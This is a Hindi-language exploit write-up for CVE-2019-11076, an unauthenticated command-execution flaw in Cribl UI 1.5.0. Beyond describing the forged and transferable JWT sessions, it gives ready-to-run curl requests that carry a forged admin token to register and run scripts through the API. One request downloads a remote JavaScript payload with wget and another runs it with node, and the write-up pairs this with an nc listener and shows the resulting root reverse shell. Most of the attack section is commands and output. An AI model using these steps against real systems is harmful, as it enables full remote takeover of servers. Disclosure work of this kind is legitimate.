
CVE-2019-11076 - Cribl UI 1.5.0 दूरस्थ हमलावरों को एक अप्रमाणित वेब अनुरोध के माध्यम से मनमाने आदेश चलाने की अनुमति देता है
यह केवल सूचनात्मक/शैक्षिक उद्देश्यों के लिए है।
यह उपकरण में एक असुरक्षा प्रदर्शित करने के लिए तैयार किया गया था, ताकि विक्रेता द्वारा एक सुधार की पुष्टि की जा सके।
Cribl v1.5.0 पर परीक्षण किया गया - पिछले संस्करणों का परीक्षण नहीं किया गया लेकिन संभवतः असुरक्षित हैं।
एक वैध JWT टोकन को एक Cribl इंस्टेंस से स्थानांतरित किया जा सकता है और दूसरे Cribl इंसटेंस के सत्र में इंजेक्ट किया जा सकता है, जिससे उपयोगकर्ता को अनधिकृत पहुँच मिलती है।
इसके अलावा, JWT/सत्र उत्पन्न करने के लिए उपयोग की जाने वाली एन्क्रिप्शन कुंजी का उपयोग किसी भी उपयोगकर्ता नाम के लिए एक वैध सत्र बनाने के लिए किया जा सकता है, जिसमें विस्तारित समाप्ति होती है।
यह, Cribl के भीतर स्क्रिप्ट चलाने की क्षमता के साथ मिलकर, एक दूरस्थ हमलावर को आगे नियंत्रण प्राप्त करने के लिए Cribl इंस्टेंस पर दुर्भावनापूर्ण कोड चलाने की अनुमति देता है।
ऐसा एक उदाहरण नीचे देखा जा सकता है, स्क्रिप्ट पृष्ठ और एक लंबी समाप्ति वाले JWT टोकन का उपयोग करके, एक रिवर्स शेल बनाना संभव था।
Docker (Alpine) का उपयोग करके परीक्षण किया गया।
पहले, (दूरस्थ होस्ट नाम) संशोधित करें और अपने shell.js को अपने वेबसर्वर पर अपलोड करें। फ़ाइल में आपकी वेबसाइट पर एक रिवर्स शेल बनाने के लिए NodeJS कोड है।
सर्वर के पास आपके दूरस्थ होस्ट/पोर्ट तक आउटबाउंड नेटवर्क पहुँच होनी चाहिए।
दूसरा, अपने दूरस्थ होस्ट पर shell.js से मेल खाने वाले पोर्ट पर एक लिसनर सेटअप करें:
nc -lvp 6669
निम्नलिखित curl कमांड को अपनी दूरस्थ फ़ाइल के साथ समायोजित करें।
CURL कमांड को क्रम में चलाएँ, आउटपुट लगभग नीचे दिए गए इंडेंट से मेल खाना चाहिए।
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"runme","command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{}}' --compressed
"count":1,"items":[{"command":"/usr/bin/wget","args":["http://yourURL/cribl.js","-P","/opt"],"env":{},"id":"runme"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/runme/run' \
-H 'Content-Type: application/json' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNTU0OTUyMTU5fQ.W4YDcUJhshv2R25UcumlP4H-2vaCIiJL0hME4eZFIW0' \
--data-binary '{}' --compressed
{"pid":414,"stdout":"N/A","stderr":"N/A"}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts' \
-H 'Content-Type: application/json'\
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{"id":"reverseit","command":"node","args":["/opt/cribl.js"],"env":{}}' --compressed
"count":1,"items":[{"command":"node","args":["/opt/cribl.js"],"env":{},"id":"reverseit"}]}
curl 'http://CRIBL_URL:9000/api/v1/system/scripts/reverseit/run' \
-H 'Cookie: cribl_auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.lnXNKawtPIvfUR8D6RzrU5U1-_AHuPP1StShu4XiIFY' \
--data-binary '{}' --compressed
{"pid":353,"stdout":"N/A","stderr":"N/A"}
Listening on [0.0.0.0] (family 0, port 6669)
Connection from [188.29.XXX.XXX] port 6669 [tcp/*] accepted (family 2, sport 13720)
> whoami
< root
> ls /
< bin
< dev
< etc
< home
< lib
...